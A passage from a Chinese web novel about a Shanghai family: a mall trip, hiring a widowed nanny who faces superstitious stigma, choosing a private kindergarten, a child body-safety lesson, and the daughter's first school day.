“妈妈,你在做什么?”谷雨手里拿着洋娃娃跑到她跟前,扒着书桌看。 舒英目光移过去,她脸上现在哪还有一丝不开心,恐怕刚才的那点小不愉快早被她忘得一干二净了。 “我在整理书,你要帮忙吗?” “要!妈妈你先别动,等我回来一起弄,我把娃娃放外面。”谷雨手里抓着洋娃娃一阵风似的出去,又一阵风似的进来。 舒英把她鞋脱掉,抱着她站到椅子上,“行,你帮妈妈把这些书递给我 就行。” 这点小事情,她一个人做一会儿也就弄好了,加个小家伙反而会麻烦些,她笑了笑,亲昵的在谷雨脸上捏了捏,也没提洋娃娃的事。 李固言在厨房探着头,听见母女俩的说笑声从房间里传出来,不由得感慨,到底是亲母女呢,她们俩之间的事他还是别插进去的好,否则倒会落得里外不是人。 他收耳,拿筷子夹了锅里的菜尝了一口,点点头,味道不错。 当初刚结婚的时候,他的厨艺水平还处于能熟能吃,现在已经是美味级别了。 第二天李固言去上班,黄姐带着贝贝过来,跟舒英一块儿去附近的商场。 舒英也是觉得这段时间太忙了,都没怎么陪过俩孩子,干脆今天带她们俩出来玩玩,吃点好吃的,喝点好喝的。 贝贝以来就把自己的小书包拉开,把里面的钱拿出来,声音软软道:“妈妈说小姨带我们出去玩,她给钱。” 她说带孩子们今天出去玩,黄姐昨天回去肯定告诉舒秀珍了。 舒英看着她手里的纸币哭笑不得,接过后又给塞回了她书包里说:“小姨有钱,不用你妈妈的钱,这些钱你还拿回去,等晚上给妈妈。” 贝贝眨着眼睛,有些愣愣地看着她,道:“妈妈说小姨要上学,没有钱。”边说还边摇着小脑袋。 舒英失笑:“别听你妈妈的,小姨钱包鼓着呢!” “好了,把钱收好别丢了,咱们现在出发吧!”她把小书包又背回贝贝肩膀上,她今天也给谷雨背了一个小包,斜挎的小布包,包里写着她的姓名、父母姓名还有住址,里面给她装了一颗糖和几块饼干桃酥。 现在电视新闻拐子可多了,这种事情不怕一万就怕万一,多想一点总是好的。 两个小朋友都戴了显眼的鹅黄色帽子,穿着短袖短裤,脚上穿着小凉鞋,都长得白白嫩嫩,一双水灵灵的大眼睛看着还有些相像,一看就是一家的。 舒英跟黄姐一人牵了一个去坐公交车。 商场里热闹得很,现在正值暑假,有不少小朋友都跟着家长一块儿来玩。 这个商场跟安城那老旧的百货大楼是完全不一样的,这里富丽堂皇,瓷砖亮得照人,里面卖什么的都有,舒英来一次都要感慨一次。 商场四楼是卖食物的,一路过来,四个人都出了一脑门的汗,两个小朋友也是汗涔涔的,帽子已经掉了,绳子挂在脖子上背在后背。 舒英说:“四楼有一家糖水铺,有冰沙,我们先去吃一碗再在商场里逛吧?” 黄姐自然不会有异议,点头牵好贝贝。 商场里有扶手电梯,安城是没有的,之前第一次来沪市的时候,李固言就迫不及待地带她来商场里乘扶手电梯,初时很是新鲜,人站在电梯上不用动,自己就上去了,而且从电梯上往下看,各种店铺都收归眼底,琳琅满目的,甚是好看。 不过多乘几次后也就习惯了,带着孩子的时候甚至还要担心别卷了她们的脚。 无惊无险地到了四楼,因为是夏天,糖水铺生意火爆,店里座无虚席,服务员端着餐盘在人群中忙碌地穿梭。 谷雨来这里吃过,一眼就瞧见冰沙,晃着妈妈的手蹦蹦跳跳说:“我要吃牛奶味的!” 说完还跟旁边的贝贝说:“牛奶味的最好吃了,姐姐你也吃牛奶味的。” 贝贝小脸严肃,认真地盯着里面,点点头:“那我也要牛奶味的。” 舒英笑了笑,在两个小家伙头上各摸了一下,带着几人在门口等位。 被服务员带着进了店里后,要了三份冰沙,两个小朋友面前只有一份,又问服务员要了小碗,各分了一半,就算是夏天也不能让她们吃这么多冰,容易拉肚子。 谷雨和贝贝接受良好,本来她俩也没想过能拥有完整的一份,谷雨之前跟爸爸妈妈来的时候,都是从爸爸妈妈碗里拨出来些分给她的。 黄姐吃着冰沙,还有些局促,她刚才看了菜单,这么一份冰沙也没什么东西,但价格可不便宜,一碗冰沙抵得上面馆里两碗面条了! 舒英看出来笑着说:“好不容易出来玩这么一回,没事的,跟你这段时间帮我的忙比起来,一碗冰沙算不了什么的。” 黄姐腼腆笑了笑,摆手说:“也没帮什么,没帮什么。” “好了黄姐,您就别谦虚了,要不是有您给我看着谷雨,我去上学还真是放不下心呢。”舒英道,“对了,您帮我留意的保姆有人选了吗?” 黄姐把嘴里的冰沙咽下去,忙说:“我给看了一个人,这人姓赵,之前跟我在一个保洁公司里,上任雇主出国了,现在正在找新雇主,不过我跟她不太熟悉,就说过几句话,但听别人说她人挺好的,您要是觉得行,我就找人问问她?” 舒英笑着点头:“好,反正行不行的先见面聊一聊,人要是靠谱最好,要是不,那咱们就再找嘛,正好现在是暑假,我不用去学校,时间还宽裕。” 黄姐点点头,笑着答应。 第58章 第 58 章 找保姆 几个人慢慢悠悠吃完了冰, 只觉得暑气消散许多,舒英看着两孩子的小脸,潮红退却, 更加精神了。 “行, 咱们到楼下转转吧?正好给贝贝买个洋娃娃。” “好。”黄姐赶紧站起来拿上孩子们的东西,并一再检查有无遗漏。 舒英看在眼里,心中暗暗点头, 怪不得姐这么信任黄姐呢,是个心细的人。 楼下就有玩具店,也不知是卖洋娃娃,其它的一些适合小朋友玩的玩具都有。 舒英弯下腰对贝贝道:“你看看你喜欢哪个娃娃, 你自己去选一个。” “谢谢小姨~”贝贝忽闪忽闪的眼睛看着她,在室内灯光的照射下更显明亮,让舒英忍不住在她头上又摸了摸。 今天谷雨看着贝贝选娃娃也没有不开心了,甚至还在旁边提供建议, 舒英瞧着笑了笑, 昨天晚上的时候,她趁机又跟她讲了一遍道理, 也没管她能不能听懂, 只把她当作小大人一样,把道理掰开揉碎喂到她嘴边,现在看来小朋友的接受能力显然很好。 玩具店里不止她们,还有一些其他客人, 有的小男孩就比较调皮,进了玩具店后开心的大喊大叫,吵着要这个,闹着要那个, 听的人耳朵疼,舒英有些烦闷的皱了皱眉,果然还是自家这两个姑娘好,做什么事都很有礼貌,起码不会打扰到别人。 “小英?” 有人叫她?舒英扭头环顾,意外看到一位熟人。 “真是你啊。”祁欣美笑起来,走上前来问,“带孩子出来玩?” “祁姐!”舒英回道,看向她手边的罗耀武,“是啊,你也带耀武出来呀。” 祁欣美对着罗耀武道:“快喊人,这是小英阿姨,那是谷雨妹妹,那是?”她目光停留在贝贝身上。 舒英笑说:“我姐家的孩子,叫贝贝。” 祁欣美挽唇笑起来:“还有贝贝妹妹。” 罗耀武一一问好,像个小绅士。 舒英也让谷雨和贝贝问好。 谷雨还认识她们,贝贝没见过,还有些好奇。 两个大人闲聊一会儿,贝贝选好洋娃娃后仰着脸拿给小姨看:“小姨,我想要这个。” “好。”舒英笑着接过,又问罗耀武,“耀武有没有喜欢的玩具呀?阿姨送你好不好?”说起来,她跟祁欣美并不是特别熟,但李固言现在在她和罗厂长手下工作,以后又想出来单干,这个关系还是要维系的,既然碰上了,那就没有不送的道理,要不人情世故上显得实在不灵通。 祁欣美连忙说:“不用,他今天是来上课的,这才下课,说带他下来转转。” 罗耀武眼神瞟到旁边的小汽车,明显是想要的样子,但还是抿着唇说:“谢谢阿姨,但不用了。” 舒英笑起来,径直走向小汽车伸手拿起来,看到他眼里瞬间的晶亮,笑了笑说:“阿姨觉得这个小汽车很适合你,阿姨把这个送给你好不好?” 祁欣美还要拒绝,瞥到儿子的神色,想了想,算了,一辆小汽车也没有多少钱,便笑道:“那麻烦你了。” “这有什么,祁姐这样说就是见外了。”舒英拿着两个玩具到收银台结账,不一会儿又拎着两个盒子回来,一个递给罗耀武,一个递给贝贝。 祁欣美摸着儿子的头,见他这么喜欢也笑了笑,问:“你们中午吃什么?”她送了礼物,你来我往的,她请吃个午饭也刚刚好。 “还没呢,不过我们刚吃完零食,午饭可能要再过会儿。”舒英笑起来,谷雨和贝贝拿了娃娃,还新奇地在玩具店里转,黄姐兢兢业业地跟在两孩子后面,也没什么不放心的,问,“耀武在上什么课?” “楼上有一家思维班,每周来上一天。”祁欣美说的是五楼。 思维班?舒英有些诧异,她还以为他学的是什么上次说的钢琴击剑这些。 祁欣美看出她的好奇,解释说:“思维班就是教他们这些小 孩的,前段时间刚开的,我旁听了一回,觉得还不错,就让耀武来上了,是一些图形上找规律、记忆、推理,你别说,还真不简单呢,有些题目就是大人来做也不一定能做出来,你回头有空可以带谷雨去看看,这种班最适合这么大的小孩的,说是可以拓宽思维,开发大脑。” 舒英点点头,听着也有些心动。 因为她们才吃过东西,都不太饿,而祁欣美和罗耀武还等着下午的课,所以最终两行人还是没一起吃午饭。 洋娃娃买好后,舒英又领着俩孩子在商场玩了玩,等快一点的时候找了家餐馆吃了午饭,下午就回家去了。 转了一个白天,两个孩子的精力都被消耗殆尽,一到家就呵欠连天,舒英用湿毛巾给她们擦了手脸,又换了衣服后就哄着两人睡午觉。 今天好哄得很,往床上一躺,眼睛一闭几乎就全睡着了。 舒英瞧着两张小脸笑了笑,起身出去把门带上,孩子们可以睡,她还不能,带回来的那么多书还没开始看呢。 她随手用头皮绳将长发利落地扎起来,趿着凉拖鞋从冰箱里把冻的冰块拿出来放杯子里,倒了凉白开进去后端到次卧去。 端起杯子喝了一口,冰冰凉凉的很是提神,按着章惠然给的书单把第一本拿下来,翻开到第一面,从笔筒里挑了一支最好用的笔,又拿了一本空白笔记本,沉下心盯着书上密密麻麻的字。 她没戴手表,次卧里也没放表,她就这样将自己的心神全部沉浸到书中,不知不觉,天色竟慢慢暗下来,屋中的光线也不足以支撑她阅读,她恍然抬起头,伸手揉了揉有些酸麻的脖颈,扭了扭脖子站起身,看天色,估计都六点多了,那她差不多看了三个多小时,冰水已经喝完了,中间也没上厕所。 竟也没觉得累,只觉得酣畅淋漓,全身心的投入到书本中去,心无旁骛地学习,学完后真的觉得畅快。 舒英将书本夹上书签合上,起身拉开房门出去,李固言已经下班了,正在客厅领着谷雨玩,黄姐也不知道什么时候带着贝贝回去了。 李固言看见她笑起来道:“你书看完了?” 舒英点点头,拿着杯子去倒水。 李固言跟上来,谷雨也跟上来,两个人围在她身边,李固言道:“我回来的时候,黄姐正领着两孩子呢,说你在看书,走的时候就没好打扰你,我带着谷雨下去看着她们坐上车了。” 这是他们的习惯了,每次黄姐和贝贝回去都一定得亲眼看着她们上车才行。 舒英点点头,那就行。 “妈妈,你怎么看这么久的书啊?我起床的时候你还在看。”谷雨仰着脸看着她,脸上都是好奇。 舒英笑了笑,“等你字都认全了就知道了。” “那好吧。”谷雨学着大人的模样叹口气,“我现在还只认识‘天地人,风雨云,日月明……’这些呢。”她掰着手指头数自己认识的字,说到一个字,伸一个小指头出来,等十个指头全伸出来后,就迷迷糊糊的弄不清了,让人看得忍不住想笑。 李固言在她头顶轻轻拍了拍,笑道:“日积月累的,慢慢就都认识了,不用着急。” 舒英凑过去在她脸上亲了亲:“真棒,都认识这么多字了,妈妈在你这么大的时候还一个字都不认识呢。” 谷雨眼睛瞬间又亮起来,“那妈妈,我是不是很厉害很厉害?” “是,你超级厉害!”舒英毫不吝啬自己对她的夸赞。 “嘿嘿~”谷雨满足地笑起来,在妈妈和爸爸脸上分别亲了一下。 一家子玩闹一会儿后,李固言道:“咱们今晚到楼下去吃吧?” 舒英点头:“行,正好我也有点想吃大馄饨了,那家的生煎包和锅贴也好吃。” “行,那就去吃那个。”李固言一把把谷雨抱起来,“谷雨就穿这个去吧?” 谷雨穿的午睡时换的小睡衣,短袖短裤的,就楼下吃个饭,小孩子也没那么讲究,舒英:“行,正好回来换掉能洗了。” 不过谷雨不用换衣服,她得换,她在家图清凉就穿的吊带短裤,可是不太好穿出门。 舒英去房间换了一身舒服的宽松连衣裙,这裙子还是她怀孕的时候买的,宽宽大大的,平时穿起来特别舒服。 她换个衣服出来没超过五分钟,一家子就带了钱包钥匙就出门了。 夏日薄暮,空气徐徐,带着一丝难得的清爽,吹在身上惬意的让人忍不住眯起眼。 谷雨没让爸爸妈妈牵着,小跑着走在前面,舒英和李固言两人手挽着手,目光追随她的背影,在小区里慢慢踱步。 舒英把上午遇到祁欣美又给她儿子买了玩具的事跟他说了,李固言点头:“行。” 李固言说起他打听的几家幼儿园,有公立的有私立的,“这几家离丽景都院都不远,到时候上学都方便,风评都还不错,不过据说私立的更好一些,毕竟更贵嘛。” 舒英也是更属意私立幼儿园,倒不是说公立不好,只是幼儿园这个时期在她看来更多的还是孩子的安全和体验问题,公立一个班孩子有些多,老师就那么些,难免会顾及不到,私立付的钱多,给到的服务也多,孩子也能被照顾得更好。 贝贝就是上的私立,舒秀珍也说挺好,不过她那家离这边就有点远了,因此不在他们的考虑范围之内,但等舒秀珍搬了新家,贝贝估计也要换幼儿园。 “那等你这周休息,咱们都去看一看,哪家要是不错,就直接定下来,到九月份送她去。” “行。” 还没等到星期天,黄姐介绍的保姆赵姐来了,约着在家里先见一面。 从说要找保姆开始,舒英陆陆续续也见了好几个了,都有些这那的小毛病,最终没有定下来。 其实也不怪那些保姆,实在是黄姐太好了,有她珠玉在前,她就老想着比照着她的条件找,也就一直没找到合适的,不过舒秀珍也说不急,保姆毕竟是要住到家里来的,谨慎小心些没什么问题,当初她也是换了好几个才遇到黄姐的。 但这回赵姐来的第一面,她就暗下点头很有好感,赵姐整个人笑眯儿的,一看就性格和善,进了门就换上自己提前备好的鞋套。 舒英招呼着人坐下,又给倒了杯凉白开,问她具体情况,她的一些背景她都提前了解了一下,知道年龄籍贯,说来也巧,她也是安城人,但详细的还不清楚:“您姓赵,我就叫您赵姐了?” 赵姐点头笑道:“叫什么都成。”听话音就像个爽快人。 “你来沪市多久啦?之前都做的什么?一直是保姆吗?” 赵姐有条不紊地一一回答:“我八七年来的沪市,一开始在一家饭店里打杂,干些刷盘子拖地的杂活儿,后来也去工地上做过小工,再后来被人介绍去了家保洁公司,干了两年,再后来就遇到了我上任雇主,一直都在他家干保姆,这不,他们前段时间全家都出国了,我就没做了。他们还问我要不要跟他们一块儿出国呢,那我想着外国人生地不熟的,我连字儿都不认识,更不会说那外国话,就没答应。” 她这意思也是暗里说自己在上任雇主家干得好,很受信任,甚至想带她一起出去,只是她没答应才没去。 舒英笑笑,明白她话里的意思,说:“那你要不这两天来我家试一试?也给钱。” “行!”赵姐也笑,“那明天是什么时候 过来?” “九点吧。” “好!” 舒英又继续问她家几口人,都在干嘛,也不是她故意要打探人家隐私,实在是之前舒秀珍请过一个保姆,那保姆自己倒是挺好,手脚麻利,人也不错,但问题是她有个不着调的丈夫,竟然有一次偷了她家的东西,被她发现了,说要报警,保姆才支支吾吾地说,舒秀珍失望得不行,因为挺信任那保姆的,她还问她要不要离婚,要是原因离婚的话,她就还愿意用她,没成想那保姆到底都在为她丈夫求情,舒秀珍没办法,就辞了她。 赵姐身家挺清白,嫁过两次人,两任丈夫都去世了,老家就说她命硬克夫,也不让她见孩子,她在老家没办法活,干脆就出来了。 她说着说着有些着急:“我那俩男人的死真的跟我没关系,第一个我嫁过去的时候就有病,他们家就是想给他留个儿子才娶我的,结果还没一年他就死了,孩子也没怀上,第二个孩子倒有了,但他好喝酒,有年冬天喝醉了酒冻死在雪地里了,这哪能是我克的呢?”她连忙解释,生怕舒英因此嫌弃她。 上任雇主不在意这些,就看她做事利落,才雇的她,只是出国了,这些时候她没少找人家,但她是个实诚人,知道有些人忌讳这些,所以她从来没想过隐瞒,都是如实说,结果每次说了之后,原本对她还满意的人就都有些嫌弃,婉拒着又把她送出了门。 “你别着急。”舒英脸上还挂着笑,缓声安慰她,她自是不会在意这种,什么女人命硬克夫,这都是那些不知所谓的人硬按上去磋磨折辱人的,新华国都成立多少年了,也不知道怎么还有些人信这些。 “你明天早上九点照常过来,我们家讲究这些,只要你是个靠谱人就行。” 赵姐听到这句话,才算是松了一口气,又坐回椅子上,慌忙道谢。 舒英问:“那你这段时间都是住哪儿?” “我租了个单间儿,原本想着要是做不了保姆就去工地上看看的。”赵姐回道,她做过工地,又脏又晒又累,相比之下还是保姆轻松一些,钱也多一些,所以能干保姆,她肯定还是想干保姆的。 其实这段时间一直找不到雇主,她也有些后悔当初没答应跟着上任雇主一起出国,只是当时拒绝也不光是因为她不会说外国话,是她心里还有点隐秘的想法,她当初嫁给第二任丈夫,那男人也是死了老婆二婚的,也没孩子,后来他俩结婚生了两个闺女一个儿子,自己生的养的,怎么不想?她天天做梦都是仨孩子,孩子爷爷奶奶死守着孩子不让她见,这几年她都不知道偷摸回去了多少次,每次都被村里人发现,还没等看见孩子就被赶了出去。 而要是真出了国,恐怕这辈子都见不上孩子一面了…… 舒英不知道她这些想法,知道她有地方住后跟她约定着让她明天过来。 等赵姐走了,她对黄姐道:“也是个苦命人。” “是啊。”黄姐感慨,赵姐的事她其实也有所耳闻,都是一个圈子里的,也有共同认识的人,平日里聊天也会聊几句,只是知道的没有这么具体而已。 城里的她不知道,但像她们这一辈的农村女人,没有几个是不命苦的,没有文化,连个字儿都不认识,一出门都是睁眼瞎,一辈子也没出过远门,也不敢出,成天就在家里田间地头的干活儿,农闲时男人们还能聚在一处打个牌聊个闲,但她们女人就是聚在一处,手上也都没停过,给衣服打个补丁、给被子弹个棉花、给孩子纳个鞋底。 这一辈子都守在那灰尘滚滚的村里,一辈子就没什么时候是闲下来的。 舒英见完赵姐,还得回房间去看书,把俩孩子叫道跟前道:“可以吵架但不准打架,要是有什么问题就来找妈妈、小姨,不过进门时要怎么样?” “敲门!”两个孩子一齐回答,童声交叠,配着她们清亮的双眸,甚是可爱。 舒英笑起来:“答对了,一人奖励一颗糖,你们要吃什么样的?” 谷雨高高举手:“我要大白兔奶糖!” 贝贝还有些犹豫,最终道:“那我也要大白兔奶糖吧。” 舒英起身去房间,把放在高柜上的糖罐子拿下来,一人手心上放了一颗大白兔奶糖:“好了去玩吧。” 黄妈擦着桌子看着她们仨,心里不免生出羡慕来,这种家庭这种条件多好,就是闺女也宠着爱着,跟农村里一点儿也不一样,像她们那时候,生不出儿子都要被人戳脊梁骨,现在也没好到哪儿去,都说计划生育,结果那么多人宁愿倾家荡产交罚款也要拼儿子。 舒英把头发一根不落地挽起来,转身进了次卧,将门关上,隔绝外面的声音,静下心看书。 客厅里,两个小家伙盘着腿坐在地毯上,一人手里拿了一个洋娃娃,谷雨变着音假装是娃娃用气声说:“妈妈要学习了,我们要乖,不能大声说话吵到妈妈。” 贝贝也晃着娃娃用气声回道:“等我们长大了也要像小姨一样学习。” 黄姐见她俩玩得开心,也没打扰,擦完了桌子就坐在椅子上发呆,趴着眯一会儿。 晚上舒英把保姆的事跟李固言说了,他也不在乎那些东西,只说:“只要人善良,再勤快些就行,其它那些都没什么意思,听了都觉得荒谬。” 舒英看着他抿唇笑了笑,趁谷雨不注意,在他侧脸上亲了一下。 李固言挑眉,将另一边脸也递过去。 舒英没忍住翻了个白眼:“你别得寸进尺。” “你主动的,火勾起来了可就不能怪我了。” 第二天,赵姐如约过来,半点没迟到,舒英没请过保姆,其实对于让她做什么也不是很清楚,黄姐主动道:“我也过来一段时间了,我跟她说该干什么。” 舒英自然乐意,把赵姐交给黄姐带着,她跟在旁边看。 住家保姆几乎是什么都干的,洗衣服做饭扫地拖地,一天下来,也不轻松。 舒英看赵姐做了一天,她是熟手了,方方面面都做得很好,当即就决定雇下她:“你明天就正式来上班吧,工期从今天开始算。”她按照舒秀珍给黄姐的待遇给她。 赵姐笑起来:“哎!那我今天去收拾收拾我的东西,把租的房子也给退了。” “行,往后你就先住这间。”舒英领她到次卧,房间里还没有床,等晚上还得去买个单人床回来,“不过我白天要在里面看书。” “这没事这没事。”赵姐摆着手,看着这间房,心里是很满意的,这种小户型的房子能让她晚上自己睡一间房真是不错的条件了。 第59章 第 59 章 开学 找保姆这件事落实后, 舒英也松了一口气,等李固言周日休息的时候带着谷雨一起去几家幼儿园看了看。 看来看去还是一家私立的最得他们心。 这家叫明心私立幼儿园,幼儿园不算很大, 但配置设施很好, 一个班十五个孩子,配三个老师。 中午吃完饭后睡午觉,午觉醒来玩一会儿还有下午点心, 舒英和李固言看了他们学校的午餐和下午点心安排,收费高了,这上面的档次也就高了,午饭营养均衡, 点心也都是厨房现做,很新鲜。 一顿参观下来,两个人都有意向让谷雨九月份入学这家幼儿园。 不过价格是真高,一个月的钱相当于舒 英在二院一个月的工资, 甚至还有些不够。 不过他俩就谷雨这一个孩子, 能给最好的便不会求其次,两个人回去又商量了两天后, 舒英就单独过来跟幼儿园签了入学申请。 负责招生的老师还说他们再晚一点来, 他们幼儿园今年的名额就招满了,舒英想着这高昂的学费,不禁感慨,沪市还是有钱人多啊。 暑假就快过半, 天气燥热不减,不过夏天多暴雨,这天夜里,天上一记响雷炸开, 哗啦啦地就下起了雨。 谷雨被雷声吓醒,半梦半醒之间张开嘴嚎哭,还下意识喊着:“妈妈!” 舒英心中一悸,也立马醒来,几乎是连滚带爬地就到小床边,拉开蚊帐,把谷雨抱在怀里哄着:“妈妈在,宝宝不哭。” 李固言也醒了,起身把灯打开,到窗边看了看:“外面下大雨了,还在打雷闪电,我去客厅厨房看看窗户关没关好。” “嗯。”舒英把谷雨抱到大床上搂着,轻轻拍着背安抚:“没事了,就是打雷了,宝宝不要怕。” 谷雨脸上还沾着泪,抽抽噎噎的可怜小模样,让人怎么看怎么心疼。 夜里下了雨,有些冷意,李固言检查完后进来,随手将风扇关掉,跟着上床看着谷雨,心疼地在她脸上摸了摸。 “小孩子魂轻,这么一吓,不会被吓掉魂吧?” 舒英听到这话有些无语,瞥了他一眼,见他脸上真心实意,道:“行了,你别说这些封建迷信了。”也不知道谁之前说赵姐克夫是荒谬,这又开始相信起这些来了。 谷雨本来就没彻底清醒,被妈妈抱在怀里哄着后,闻着妈妈身上的味道,很快就又安心睡着了。 李固言还是心疼,忍不住嘟囔:“这雷真是,偏偏大半夜打,还打得这么响,都把我闺女吵醒了。” “怎么,你还能管住老天不打雷啊。”舒英失笑。 “管不住,但这雷实在是没有公德心。”李固言还有些不忿,伸手给谷雨身上的杯子又盖紧了些。 老天好似听到他的抱怨一样,不满的又在天空中炸起一个雷,“轰隆隆轰隆隆”的,声音由远及近,再配着闪电,“欻”一下,瞬间亮如白昼。 舒英看着外面的天,忍不住在他身上推搡了一下:“你可管好你的嘴吧,别吵醒了我闺女。” 后半夜两人都没睡好,都担心着谷雨,生怕她又被雷声吓醒,睡一会儿就忍不住醒来看看她的情况。 早上雨已经停了,空气里都是雨后清新的味道,窗户大开着,风吹进来,很是凉快。 谷雨起来后没什么异样,还跟往常一样,甚至都不记得夜里发生了什么,李固言拉着她上下左右地仔仔细细检查,的确没什么不适后才放下心去上班。 赵姐把泡好的奶粉端给谷雨,笑着说:“谷雨爸爸是真心疼孩子。” 舒英吃着早饭随意道:“他自己孩子他要是不疼还像什么话。” “说是这样说,但其实好多男的对孩子都不怎么上心,都是妈妈操心的多。”赵姐说,手上擦着桌子,“像我那……哎呀,不提他。” 舒英抬头看了她一眼,见她微微垂着眼,知道她隐去的话是关于她那死去的丈夫的,也没问,道:“今天的蛋饼好吃,感觉比外面卖的还好吃。” “是吧?这还是我跟别人学的,搅蛋饼液的时候加点糖提鲜,吃起来还隐隐有股甜滋滋的味道。” “是吗?下回你在做的时候我在旁边看着,也学一学。” “行啊。” 今天天气不好,黄姐就没带着贝贝过来,谷雨褶段时间天天跟贝贝在一处玩,昨天还商量好的今天要玩什么,结果她突然不过来,谷雨瞧着还有些失落。 舒英笑了笑,“今天跟妈妈玩好不好?” 谷雨眼睛一亮:“妈妈你今天不用学习吗?” 舒英听到这话顿时有些心酸,没想到说陪女儿玩,她的第一反应是她要学习,看来褶段时间还是有些忽略她了。 “不用,妈妈今天专门陪你玩。” 也不光是为了陪她玩,马上她幼儿园要开学了,她之前也没上过托班之类的,怕突然把她送到幼儿园去她会不适应,所以想趁机给她做个脱敏训练,提前给她灌输幼儿园有多好,让她产生向往,到时候不至于太难受。 谷雨屁颠屁颠的去把自己玩具箱里的玩具都倒出来,哗啦啦铺了一地毯上。 这里面好些玩具都是别人送的,这边攒几个,那边攒几个,没想到就这么一大堆了。 不过谷雨最喜欢的还是李固萱送的,一开始是那只布小羊,现在是洋娃娃。 舒英趁机问:“谷雨,你知道幼儿园吗?” “知道啊。”谷雨手里拿着一辆小汽车围着地毯周围跑。 知道? “贝贝姐姐不就上幼儿园吗?” 舒英挑眉,忘了这回事了,她又问:“贝贝姐姐都跟你说幼儿园的什么了?” “贝贝姐姐说幼儿园有好多好吃的,还有滑滑梯跷跷板,还有她的好朋友娜娜!”谷雨头都没抬,撅着屁股趴在地上研究小汽车。 舒英看着她滑稽的动作有点想笑,忍了又忍继续说:“那你想去幼儿园吗?” 谷雨摇摇头:“不想。” “为什么呀?贝贝姐姐不是说幼儿园有好多好吃的和好多好玩的吗?你为什么不想去呢?” “可是幼儿园没有妈妈,也没有爸爸啊。”谷雨一屁股坐在地上,两腿叉开,动作很是豪放不羁,歪着头看着舒英。 舒英有些怔忡,这个回答,既是预料之中又在预料之外,她过去盘腿坐到她对面,“谷雨,妈妈要很郑重地告诉你一件事,下个月你也要去上幼儿园了。” 谷雨撅起嘴:“妈妈,可是我不太想去,我不能在家里上幼儿园吗?” 舒英摇了摇头,神色认真,解释说:“下个月妈妈也要去学校了,爸爸也因为上班不在家,贝贝姐姐要上幼儿园也不会过来,家里只有赵阿姨在。” “可是妈妈,我还是不太想去。” 舒英看着她有些不情愿的表情,轻叹一口气,算了,今天就这样吧,等过两天贝贝过来的时候再说。 “好吧,我们先不说这个,妈妈带你玩游戏。” 等天放晴后,贝贝跟黄姐又如常过来。 舒英有件事忘记教谷雨了,也不知道舒秀珍跟没跟贝贝讲过,她干脆把她俩都叫到身边,随手拿过谷雨的洋娃娃。 “今天,妈妈要教你们一件很重要很重要的事情。”谷雨马上进入人生的下一个阶段,生活中即将接触更多的人,有男人有女人,有好人有坏人,所以安全教育、尤其是女孩子的安全教育必须要上心。 谷雨和贝贝排排坐,仰着小脸懵懂地看着她。 舒英笑了笑,把洋娃娃的衣服脱掉说:“我们三个都是女孩子,洋娃娃也是女孩子,这里是我们小便的地方,” “好的,记住我刚才说的了吗?” 谷雨贝贝齐声道:“记住了!” “那我要提问了哦。”舒英:“如果有人想要脱我们的裤子要怎么办?” “要拒绝!” “如果他力气大,被他脱掉了要怎么办?” “要告诉妈妈!” “很好,都表现得很棒!待会儿一人奖励一颗糖果。”舒英笑起来,继续道,“如果我们在外面受伤了一定要告诉妈妈或者小姨,要是别人跟你说那是你们之间的秘密,让你们不要跟别人说,你们要听吗?” “不要听——”两个小朋友一块儿摇头,拖着声音回答。 “对的,这种话是不能听的,在外面遇到什么事情,如果让你们不开心了,一定一定要告诉爸爸妈妈和小姨,因为我们是大人了,有些事情你们小朋友解决不了的,大人都能解决,就算是老师让你们不要告诉我们也不能听,记住了吗?” 舒英看着她们俩,两个小姑娘长得白白净净,眼神单纯干净,像两颗透亮的琉璃珠子。 她们是她的宝贝,她当然不希望她们俩遇到这种事情,但她也没办法时时刻刻在她们旁边守护着她们,而谁也不知道在他们注意不到的地 方会滋生多少恶念。 这种事情都是真实存在的,几岁的女孩子,还没大人的半腰高,但有些恶魔真的下得去手,她在医院里也没少听到这类事情。 甚至有的恶魔就是衣冠楚楚的老师,因为上位者的身份压得孩子无法说出口,未来很长,谁也不知道两个孩子以后会经历些什么,舒英不希望如果她们俩经历了这种事后会羞于启齿,她不希望自己被蒙在鼓里,如果真的发生了,她会保护她们安慰她们为她们做主。 …… 关于谷雨上幼儿园这个事,舒英和李固言也实在是废了好一番心思,才让她答应。 报名这天,舒英给她换上漂亮的小裙子,头发扎起来,别了好看的发卡,李固言也请假一块儿送她入学。 别看这个幼儿园不大,门口人还真不少,都是送孩子来报道的,丰田、桑塔纳等小轿车往门口一停,几乎把这条路堵得水泄不通。 舒英和李固言牵着谷雨走到门口,门口有几个老师笑盈盈地迎着,几乎随便看到哪个都能准确地叫出名字。 谷雨往跟前一站,老师就微微弯腰看着她笑道:“谷雨小朋友,你的班级是小班5班哦,在一楼,跟爸爸妈妈一起过去吧。” 谷雨两只眼睛睁得溜圆地看着她,牵着妈妈的手晃了晃,走过去后才悄悄问:“妈妈,她怎么认识我呀?” 舒英笑了笑,入学申请上要贴照片,估计老师们被要求记下来的。 “因为老师们喜欢你呀。” 班级了小朋友们已经来了差不多一半了,许是因为爸爸妈妈们都还没离开,所以还没有小朋友哭。 今天报道等孩子们到齐后,是要先开家长会的,开完家长会后,家长们才会离开幼儿园,只留下孩子们。 今天是谷雨第一次上幼儿园,李固言特意带了相机过来,对着她一顿拍。 家长会结束后,家长们放开孩子的手,陆陆续续走出班级,懵懂的孩子“哇”的一声哭出来,一个人的哭声带动周边好几人,瞬间班级里哭声震天。 谷雨也忍不住掉眼泪,不舍地看着窗外的爸爸妈妈,李固言举起相机,对着她按下了快门,从今天起就正式踏入学校的门了,往后的十几年都要在学校之中度过了。 班级里三个老师,熟稔地哄着孩子们,用玩具转移孩子们的注意力。 舒英和李固言走在走廊上,这一层楼都是小班的,几乎每个班都是哭声,舒英听着止不住地心颤,甚至冲动地想冲进教室把谷雨带走。 李固言也没好到哪儿去,他一向见不得她哭,只是知道如果这时候他去班里哄她的话,只会让事情变得更复杂,这才强忍着收回视线。 夫妻两互相对视一眼,都露出一个苦笑,没想到给孩子做了那么久的准备,到头来受不了的竟是他们俩。 谷雨幼儿园开学,没几天,舒英也要开学了。 好在她的这些书都认认真真地看完了,也认认真真地写了报告。 开学那天,她背着一书包的书到实验室报道。 进了实验室,付思萱还没来,欧阳雪和彭娟娟都在自己位置上坐着,穿着实验服,头发清清爽爽地扎起,认真地做自己的事情。 她们几乎是没有暑假的,假期的大部分时间一直都在实验室里做实验。 尤其是彭娟娟,为了她的毕业设计,简直是忙得晕头转向。 实验室里除了两位已经认识的学姐外,还有两个陌生的男生。 其中一个男生抬头看向舒英,问:“你是舒英学妹吧?” 